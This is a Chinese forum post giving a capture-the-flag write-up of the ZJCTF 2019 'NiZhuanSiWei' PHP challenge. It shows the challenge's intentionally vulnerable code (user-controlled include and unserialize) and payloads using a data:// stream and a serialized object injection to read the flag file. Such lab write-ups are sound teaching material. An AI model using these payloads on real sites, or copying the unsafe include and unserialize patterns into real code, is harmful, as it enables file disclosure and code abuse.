缠丝猫 发表于 2023-11-15 06:53:14

【ZJCTF 2019】NiZhuanSiWei

NiZhuanSiWei

收获


[*]file_get_contents绕过
[*]include联想伪协议
[*]熟悉__tostring魔术方法的使用
题目


[*]代码:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "
<h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
      echo "Not now!";
      exit();
    }else{
      include($file);//useless.php
      $password = unserialize($password);
      echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 首先看要进入if,我们需要使得$text文件对应的内容为‘welcome to the zjctf’。如何实现呢,因为file_get_content函数其实是读取一个文件流,那么我们可以使用data伪协议来构造数据流,payload:
/?text=data:text/plain,welcome to the zjctf
[*]读文件:
这里包含了$file变量,那么首先应该根据提示查看一下useless.php的内容,我们使用php伪协议进行读取,并且使用base64解码:

[*]反序列化:
本来一直在纠结怎么触发__tostring方法,后来突然看到echo $password,那直接秒了:

[*]Last:
payload:
?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:4:"flag";}F12查看网页源码就可以。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: 【ZJCTF 2019】NiZhuanSiWei